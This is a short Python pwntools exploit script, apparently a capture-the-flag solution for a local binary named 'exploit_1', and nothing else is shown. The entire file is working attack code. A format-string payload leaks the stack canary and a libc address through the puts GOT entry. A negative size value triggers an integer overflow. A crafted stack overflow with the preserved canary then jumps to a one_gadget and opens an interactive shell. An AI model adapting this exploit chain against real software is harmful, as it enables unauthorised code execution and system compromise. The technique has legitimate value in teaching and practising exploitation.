from pwn import *

context.log_level = 'debug'

p = process("./exploit_1")
elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")

put_got = 0x602028
one_gadget = 0x4526a
if __name__ == '__main__':

	p.recvuntil("please input name:")
	name ='%15$llx' + 'B' + 'AAA'+"%10$s" + p64(put_got) 
	p.sendline(name)
	p.recvuntil('Hello ')
	canary = long(p.recv(16),16)
	print 'canary:',hex(canary)
	p.recvuntil("BAAA")
	leak_addr = u64(p.recv(6).ljust(8,'\0'))
	libc_base = leak_addr - elf.symbols['puts']
	print "libc_base:",hex(libc_base)

	one_gadget = libc_base + one_gadget
	p.recvuntil("please input size of motto:")
	p.sendline(str(-0x8000000000000002))
	p.recvuntil("please input motto:")
	ebp = p64(0xdeadbeef)
#	gdb.attach(p)
	motto = 'A'*0x407 + '\x00' + p64(canary) + ebp + p64(one_gadget) +'\x00'*0x40
	p.sendline(motto)
	p.interactive()
